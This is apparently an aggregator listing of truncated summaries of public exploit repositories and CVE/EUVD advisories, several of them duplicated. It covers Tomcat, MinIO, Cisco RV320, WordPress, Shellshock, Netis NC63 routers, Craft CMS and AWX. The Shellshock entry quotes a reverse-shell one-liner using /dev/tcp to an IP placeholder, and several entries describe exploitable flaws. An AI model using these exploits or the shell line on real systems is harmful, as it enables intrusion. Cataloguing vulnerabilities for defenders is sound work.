CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC PoC pour CVE-2025-24813, une vulnérabilité d'exécution de code à distance RCE dans Apache Tomcat. Important : Ce PoC est destiné uniquement à tester vos propres environnements ou à des fins éducatives. Toute utilisation de ce PoC pour exploiter des systèmes sa...

Rapid7 Analysis: Microsoft SharePoint Remote Code Execution (CVE-2026-63520)

...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 Ho creato un semplice exploit Python per react2shell CVE-2025-55182 USAGE 1. Salva lo script: salva il codice sopra come exploit.py. 2. Aggiorna gli Host: assicurati che reactor.htb risolva all'IP di destinazione nel tuo file /etc/hosts. echo " reactor.htb" | sud...

CVE-2026-78416

Craft CMS versions from 4.0.0-RC1 before 4.18.2 and from 5.0.0-RC1 before 5.10.6 contain an authenticated remote code execution vulnerability in control panel element-search condition handling. A JSON cleanse bypass in condition.config allows Yii behavior/event configuration keys to be interprete...

CVE-2026-71364

A path traversal vulnerability was found in AWX's project archive extraction. The projectarchive action plugin extracts zip and tar archive members by joining the project directory path with the member filename without performing path normalization, boundary validation, or rejecting directory...

CVE-2026-76070

Netis NC63 firmware through V3.0.0.3327 contains a stack-based buffer overflow vulnerability that allows unauthenticated remote attackers to overwrite saved stack state by submitting an oversized Base64-encoded password to the login handler in /bin/netis.cgi. Attackers can exploit the custom Base...

evil_minio

Evil MinIO CVE-2023-28434 Doc: CVE-2023-28432 minio 接口未授权访问到无损RCE和全局后门.pdf EXP per CVE-2023-28434 MinIO non autorizzato a RCE Modificato da https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8 Cosa è stato cambiato? aggiungere cmd/x.go, usato per eseguire comandi di sistem...

CiscoRV320Dump

CiscoRV320Dump CVE-2019-1653/CVE-2019-1652 Exploit per scaricare configurazioni Cisco RV320 e ottenere RCE Implementazioni degli exploit CVE-2019-1652 e CVE-2019-1653 divulgati da Red Team Pentesting GmbH. Ho testato questi solo su un RV320, ma secondo l'avviso Cisco, anche l'RV325 è vulnerabile...

CVE-2023-6553-RCE-Exploit

🔥 CVE-2023-6553 — WordPress Backup Migration RCE Execução Remota de Comando não autenticada via Cadeia de Filtros PHP Prova de conceito do exploit para CVE-2023-6553 — uma vulnerabilidade crítica de RCE não autenticada no plugin "Backup Migration" do WordPress versões ≤ 1.3.7. 📋 Visão Geral da...

CVE-2014-6271

Hellshocker 0.1.1 Tool zur Ausnutzung der Shellshock-Sicherheitslücke Müde von schwachen Shellshock-Exploits oder einfach nur "/bin/bash & /dev/tcp/IP/port 0&1" in den Server zu gelangen? Ja, du musst etwas Komplexeres auf den Server hochladen und ausführen, und das Base64-Kodieren einer riesigen...

CVE-2026-76071 Netis NC63 V3.0.0.3327 Stack Buffer Overflow via destHost Parameter

Netis NC63 firmware through V3.0.0.3327 contains a stack-based buffer overflow vulnerability that allows unauthenticated remote attackers to overwrite saved stack state by supplying an oversized destHost parameter to the ipFilterList=mod action in netis.cgi. Attackers can exploit widthless sscanf...

CVE-2026-76071

Netis NC63 (AC1200 Wireless Dual Band Gigabit MU-MIMO Router) firmware through V3.0.0.3327 contains a pre-authentication stack-based buffer overflow in /bin/netis.cgi. The destHost parameter in the ipFilterList=mod action uses widthless %[^,] sscanf scansets that copy unbounded input into fixed 1...

CVE-2026-76070

Netis NC63 Wireless AC1200 router firmware through V3.0.0.3327 contains a pre-authentication stack-based buffer overflow in the login handler /bin/netis.cgi. The custom Base64 decoder writes decoded password bytes into a fixed 64-byte stack buffer without capacity checks, allowing an unauthentica...

EUVD-2026-64921

Netis NC63 firmware through V3.0.0.3327 contains a stack-based buffer overflow vulnerability that allows unauthenticated remote attackers to overwrite saved stack state by submitting an oversized Base64-encoded password to the login handler in /bin/netis.cgi. Attackers can exploit the custom Base...

CVE-2026-76070 Netis NC63 V3.0.0.3327 Stack Buffer Overflow via Login Password Parameter

Netis NC63 firmware through V3.0.0.3327 contains a stack-based buffer overflow vulnerability that allows unauthenticated remote attackers to overwrite saved stack state by submitting an oversized Base64-encoded password to the login handler in /bin/netis.cgi. Attackers can exploit the custom Base...

EUVD-2026-64920

Craft CMS versions from 4.0.0-RC1 before 4.18.2 and from 5.0.0-RC1 before 5.10.6 contain an authenticated remote code execution vulnerability in control panel element-search condition handling. A JSON cleanse bypass in condition.config allows Yii behavior/event configuration keys to be interprete...

CVE-2026-78416 Authenticated RCE via `condition.config` JSON cleanse bypass

Craft CMS versions from 4.0.0-RC1 before 4.18.2 and from 5.0.0-RC1 before 5.10.6 contain an authenticated remote code execution vulnerability in control panel element-search condition handling. A JSON cleanse bypass in condition.config allows Yii behavior/event configuration keys to be interprete...

CVE-2026-78416

Craft CMS versions 4.0.0-RC1 through 4.18.1 and 5.0.0-RC1 through 5.10.5 are affected by an authenticated remote code execution vulnerability in the control panel element-search condition handling. The root cause is a JSON cleanse bypass in condition.config that allows Yii behavior/event configur...

CVE-2026-71364

A path traversal vulnerability was found in AWX's project archive extraction. The projectarchive action plugin extracts zip and tar archive members by joining the project directory path with the member filename without performing path normalization, boundary validation, or rejecting directory...

EUVD-2026-64918

A path traversal vulnerability was found in AWX's project archive extraction. The projectarchive action plugin extracts zip and tar archive members by joining the project directory path with the member filename without performing path normalization, boundary validation, or rejecting directory...